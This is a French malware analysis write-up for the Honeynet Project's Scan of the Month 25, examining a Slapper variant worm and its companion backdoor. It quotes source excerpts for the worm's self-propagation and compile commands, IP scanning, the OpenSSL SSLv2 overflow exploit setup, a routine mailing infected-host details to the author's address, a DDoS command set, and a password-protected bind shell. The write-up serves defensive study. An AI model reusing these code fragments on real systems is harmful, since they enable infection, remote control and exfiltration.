Depuis plus de deux ans, le projet Honeynet propose régulièrement
d'étudier des outils, des tactiques utilisées par des pirates lors
d'intrusion pour démontrer la réalité de ces attaques, pour apprendre
comment un pirate agit pour s'en protéger et plus généralement pour
améliorer les technologies et méthodes de collecte d'information.
Le Scan of the Month
25 consiste à analyser le code source
d'un worm
capturé dans le traffic réseau de l'HoneyNet.
Le fichier à analyser se trouve sur http://old.honeynet.org/scans/scan25/.unlock. Après téléchargement, vérifier son intégrité en calculant les sommes de contrôles MD5 ou SHA1.
[kmaster@christophe sotm25]$ md5sum .unlock a03b5be9264651ab30f2223592befb42 .unlock [kmaster@christophe sotm25]$ sha1sum .unlock 4b018cdfdbcf71ddaa789e8ecc9ed7700660021a .unlock
Le fichier n'a pas été corrompu lors du téléchargement. Commençons l'analyse.
De façon à ne pas avoir de problème de tranche horaire, plaçons nous dans la
zone horaire universelle UTC. La commande file
permet d'apprendre
que le fichier est compressé par gzip
.
[kmaster@christophe sotm25]$ export TZ=UTC [kmaster@christophe sotm25]$ file .unlock .unlock: gzip compressed data, deflated, last modified: Fri Sep 20 10:59:04 2002, os: Unix [kmaster@christophe sotm25]$ file -z .unlock .unlock: GNU tar archive (gzip compressed data, deflated, last modified: Fri Sep 20 10:59:04 2002, os: Unix) [kmaster@christophe sotm25]$ tar tzvf .unlock -rw-r--r-- root/wheel 70981 2002-09-20 13:28:11 .unlock.c -rw-r--r-- root/wheel 2792 2002-09-19 21:57:48 .update.c
Il s'agit en fait d'une archive .tar.gz
générée le 20 septembre
dernier à 10:59:04 heure universelle comprenant deux fichiers:
-b a
):
[kmaster@christophe sotm25]$ nl -b a .unlock.c > .unlock.nl.c [kmaster@christophe sotm25]$ nl -b a .update.c > .update.nl.c
Un antivirus de Trend détecte le virus ELF_SLAPPER.C
ainsi que McAfee.
D'après le code source, le worm
a été créé par
contem@efnet avec des modifications de aion
aion@ukr.net. La version 20092002
correspond au 20 septembre 2002, c'est cohérent avec la date relevée pour
l'archive .tar.gz
.
3 * Peer-to-peer UDP Distributed Denial of Service (PUD) * 4 * by contem@efnet * 38 * some modification done by aion (aion@ukr.net) * 71 #define VERSION 20092002
Quand le virus est actif sur un serveur, il apparait dans la liste des
processus comme httpd
. Attention, il y a un espace à la fin du
nom. C'est une astuce très courante utilisée pour dissimuler le véritable nom
d'un processus. Remarque, un ps -axuc
affiche le véritable nom de
la commande.
78 #define PSNAME "httpd " 1805 strcpy(argv[0],PSNAME);
Le ver se propage via le réseau sous forme
uuencodée: la fonction sh()
créé un fichier /tmp/.unlock.uu
avec
un copie local uuencodée de /tmp/.unlock
.
1416 writem(sockfd,"cat > /tmp/.unlock.uu << __eof__; \n"); 1417 zhdr(1); 1418 encode(sockfd); 1419 zhdr(0); 1420 writem(sockfd,"__eof__\n");
Il créé les fichiers suivants sur le serveur infectée:
1421 writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu; " 1422 "tar xzf /tmp/.unlock -C /tmp/; " 1423 "gcc -o /tmp/httpd /tmp/.unlock.c -lcrypto; " 1424 "gcc -o /tmp/update /tmp/.update.c;\n");
/tmp/.unlock.c
1425 sprintf(rcv, "/tmp/httpd %s; /tmp/update; \n",localip); 1426 writem(sockfd,rcv); sleep(3); 1427 writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c " 1428 " /tmp/httpd /tmp/update; exit; \n"); 1429 for (;;) { 1430 FD_ZERO(&rset); 1431 FD_SET(sockfd, &rset); 1432 select(sockfd+1, &rset, NULL, NULL, NULL); 1433 if (FD_ISSET(sockfd, &rset)) if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) return 0; 1434 } 1435 }
Le seul fichier restant est le fichier /tmp/.unlock
. Il est
utilisé pour le ver pour se propager.
Le ver scanne à la recherche de port TCP SCANPORT
ouvert, c'est à
dire le port TCP 80 ou http. Il scanne de manière séquentielle 65536 adresses
IP avant de changer de réseau cible. Il utilise une liste de réseaux nommée
classes
afin de ne pas scanner inutilement des adresses non
utilisées sur Internet ou les réseaux privés.
67 #define SCANPORT 80 ... 291 unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45, 292 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 293 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 294 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 295 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229, 296 230, 231, 232, 233, 234, 235, 236, 237, 238, 239 }; ... 1807 a=classes[rand()%(sizeof classes)]; b=rand(); c=0; d=0; ... 1907 #ifdef SCAN 1908 if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) { 1909 char srv[256]; 1910 if (d == 255) { 1911 if (c == 255) { 1912 a=classes[rand()%(sizeof classes)]; 1913 b=rand(); 1914 c=0; 1915 } 1916 else c++; 1917 d=0; 1918 } 1919 else d++; 1920 memset(srv,0,256); 1921 sprintf(srv,"%d.%d.%d.%d",a,b,c,d); 1922 clients[n].ext=time(NULL); 1923 atcp_sync_connect(&clients[n],srv,SCANPORT); 1924 p++; 1925 }
Si le port TCP 80 est accessible, il ferme la connexion (ligne 1928) puis appelle la fonction exploit()
(ligne 1933)
1926 for (n=CLIENTS;n<(CLIENTS*2);n++) if (clients[n].sock != 0) { 1927 p=atcp_sync_check(&clients[n]); 1928 if (p == ASUCCESS || p == ACONNECT || time(NULL)-((unsigned long)clients[n].ext) >= 5) atcp_close(&clients[n]); 1929 if (p == ASUCCESS) { 1930 char srv[256]; 1931 conv(srv,256,clients[n].in.sin_addr.s_addr); 1932 if (mfork() == 0) { 1933 exploit(srv); 1934 exit(0); 1935 } 1936 } 1937 }
La fonction GetAddress()
renvoie le champs Server
d'une réponse web.
Ce champs contient généralement le nom et la version du serveur.
1143 char *GetAddress(char *ip) { 1144 struct sockaddr_in sin; 1145 fd_set fds; 1146 int n,d,sock; 1147 char buf[1024]; 1148 struct timeval tv; 1149 sock = socket(PF_INET, SOCK_STREAM, 0); 1150 sin.sin_family = PF_INET; 1151 sin.sin_addr.s_addr = inet_addr(ip); 1152 sin.sin_port = htons(80); 1153 if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL; 1154 write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n")); 1155 tv.tv_sec = 15; 1156 tv.tv_usec = 0; 1157 FD_ZERO(&fds); 1158 FD_SET(sock, &fds); 1159 memset(buf, 0, sizeof(buf)); 1160 if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) { 1161 if(FD_ISSET(sock, &fds)) { 1162 if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL; 1163 for (d=0;d<n;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: "))) { 1164 char *start=buf+d+strlen("Server: "); 1165 for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0; 1166 cleanup(start); 1167 return strdup(start); 1168 } 1169 } 1170 } 1171 return NULL; 1172 }
Le ver vérifie que le serveur est sous Apache, puis cible certaines versions (liste à partir de la ligne 1241):
Gentoo | any version |
Debian | 1.3.26 |
Red-Hat | 1.3.6, 1.3.9, 1.3.12, 1.3.19, 1.3.20, 1.3.22, 1.3.23, 1.3.26 |
SuSE | 1.3.12, 1.3.17, 1.3.19, 1.3.20, 1.3.23 |
Mandrake | 1.3.14, 1.3.19, 1.3.20, 1.3.23 |
Slackware | 1.3.26 |
1697 void exploit(char *ip) { 1698 int port = 443; 1699 int i; 1700 int arch=-1; 1701 int N = 20; 1702 ssl_conn* ssl1; 1703 ssl_conn* ssl2; 1704 char *a; 1705 1706 alarm(3600); 1707 if ((a=GetAddress(ip)) == NULL) exit(0); 1708 if (strncmp(a,"Apache",6)) exit(0); 1709 for (i=0;i<MAX_ARCH;i++) { 1710 if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) { 1711 arch=i; 1712 break; 1713 } 1714 } 1715 if (arch == -1) arch=9;
*(int*)&overwrite_next_chunk[156] = cipher; *(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12; *(int*)&overwrite_next_chunk[196] = ciphers + 16; send_client_hello(ssl2); get_server_hello(ssl2); send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
Il exploite un buffer overflow de OpenSSLv2 dans la gestion de la clée du client BID 5363.
Lorsque le programme /tmp/httpd
(Version compilé de .unlock.c) est
executé par le ver sur la machine nouvellement infectée, la fonction mailme()
va envoyer un mail à aoin@ukr.net avec l'hostid
tel que retrouné par gethostid
(fréquement 8323328 correspondant
à l'adresse IP 127.0.0.1), le nom du serveur et son adresse IP publique.
77 #define MAILTO "aion@ukr.net" 94 int mailme(char *sip) 95 { 96 char cmdbuf[256], buffer[128]; 97 int pip; long inet; 98 struct sockaddr_in sck; 99 struct hostent *hp; 100 101 if(!(pip=socket(PF_INET, SOCK_STREAM, 0))) return -1; 102 if((inet=inet_addr(MAILSRV))==-1) 103 { 104 if(hp=gethostbyname(MAILSRV)) 105 memcpy (&inet, hp->h_addr, 4); 106 else return -1; 107 } 108 sck.sin_family = PF_INET; 109 sck.sin_port = htons (25); 110 sck.sin_addr.s_addr = inet; 111 if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return -1; 112 113 gethostname(buffer,128); 114 sprintf(cmdbuf,"helo test\r\n"); writem(pip, cmdbuf); 115 recv(pip,cmdbuf,sizeof(cmdbuf),0); 116 sprintf(cmdbuf,"mail from: test@microsoft.com\r\n"); writem(pip, cmdbuf); 117 recv(pip,cmdbuf,sizeof(cmdbuf),0); 118 sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n"); writem(pip, cmdbuf); 119 recv(pip,cmdbuf,sizeof(cmdbuf),0); 120 sprintf(cmdbuf,"data\r\n"); writem(pip, cmdbuf); 121 recv(pip,cmdbuf,sizeof(cmdbuf),0); 122 sprintf(cmdbuf," hostid: %d \r\n" 123 " hostname: %s \r\n" 124 " att_from: %s \r\n",gethostid(),buffer,sip); 125 writem(pip, cmdbuf); 126 recv(pip,cmdbuf,sizeof(cmdbuf),0); 127 sprintf(cmdbuf,"\r\n.\r\nquit\r\n"); writem(pip, cmdbuf); 128 recv(pip,cmdbuf,sizeof(cmdbuf),0); 129 return close(pip); 130 } 1802 mailme(argv[1]); zhdr(0);
Le ver communique en utilisant le port UDP 4156. Il utilise son propre protocole P2P de communication avec un mécanisme de chiffrement rudimentaire.
66 #define PORT 4156 932 audp_relay(&udpserver,&ts,srv,PORT); 948 audp_relay(&udpserver,&ts,srv,PORT); 1781 if (audp_listen(&udpserver,PORT) != 0) { ...
Le ver peut être commandé à distance, il peut lancer des dénis de services (saturation UDP, TCP ou DNS) mais il peut aussi relayer des communications TCP (fonction 0x21) ou recolter des adresses email à partir des fichiers du disque dur (fonction 0x2D).
grep case .unlock.nl.c ... 2034 case 0x20: { // Info 2058 case 0x21: { // Open a bounce 2098 case 0x22: { // Close a bounce 2107 case 0x23: { // Send a message to a bounce 2116 case 0x24: { // Run a command 2152 case 0x25: { 2154 case 0x26: { // Route 2198 case 0x27: { 2200 case 0x28: { // List 2205 case 0x29: { // Udp flood 2246 case 0x2A: { // Tcp flood 2279 case 0x2B: { // IPv6 Tcp flood 2308 case 0x2C: { // Dns flood 2386 case 0x2D: { // Email scan 2410 case 0x70: { // Incomming client 2436 case 0x71: { // Receive the list 2457 case 0x72: { // Send the list 2460 case 0x73: { // Get my IP 2468 case 0x74: { // Transmit their IP 2477 case 0x41: // --| 2478 case 0x42: // | 2479 case 0x43: // | 2480 case 0x44: // |---> Relay to client 2481 case 0x45: // | 2482 case 0x46: // | 2483 case 0x47: { // --|
Le fichier .update.c
est le code source d'une backdoor écrite en C.
Ce programme écoute sur le port TCP 1052 et nécessite le mot de passe aion1981
.
Son auteur est aion (aion@ukr.net).
1 /* code by aion (aion@ukr.net) 2 ****************************************************************************/ 3 4 #define PORT 1052 5 #define PASS "aion1981" 63 if( !strncmp(temp_buff,PASS,strlen(PASS)) ) 64 execl("/bin/sh","sh -i",(char *)0);
Cette backdoor a été conçu pour être utilisable par des utilisateurs non-root.
Pour se dissimuler, elle ne peut donc pas utiliser de socket en mode raw comme
dans le Reverse Challenge
.
L'auteur a trouvé une astuce simple, une socket TCP est ouverte pendant 10 secondes
puis attend 5 minutes avant de se remettre en mode d'écoute. Ainsi, un administrateur
a peu de chance d'appercevoir ce programme dans la sortie d'un netstat
.
48 while (1) { 49 fcntl(soc_cli, F_SETFL, O_NONBLOCK); 50 fcntl(soc_des, F_SETFL, O_NONBLOCK); 51 52 for(stimer=time(NULL);(stimer+UPTIME)>time(NULL);) 53 { 54 soc_cli = accept(soc_des, 55 (struct sockaddr *) &client_addr, sizeof(client_addr)); ... 69 sleep(1); 70 } 71 72 closeall(); 73 sleep(SLEEPTIME);
De plus, ce programme masque son nom véritable, il apparait sous le nom de update
.
8 #define PSNAME "update " // what copy to argv[0] 32 main (int argc,char **argv) 33 { 34 for(retval=0;argv[0][retval]!=0;retval++) argv[0][retval]=0; 35 strcpy(argv[0],PSNAME);
L'analyse de ces programmes a été assez simple étant donné que le ver se propage avec ses sources. Ce ver mélange l'exploitation d'une faille de sécurité, une backdoor et un ensemble complet de fonctions allant des denis de service jusqu'aux fonctions de rebond ainsi qu'une fonction de collecte d'adresse email ce qui peut intéresser les spammers. Armé de ce genre de programme, un pirate peut rebondir via plusieurs machines avant de lancer une attaque, il peut probable que l'on puisse remonter jusqu'à lui. Pour se protéger, il aurait suffit d'un firewall correctement configuré pour bloquer ses communications et d'un serveur web tenu à jour.
Christophe GRENIER, grenier@cgsecurity.org, Consultant Sécurité chez Global Secure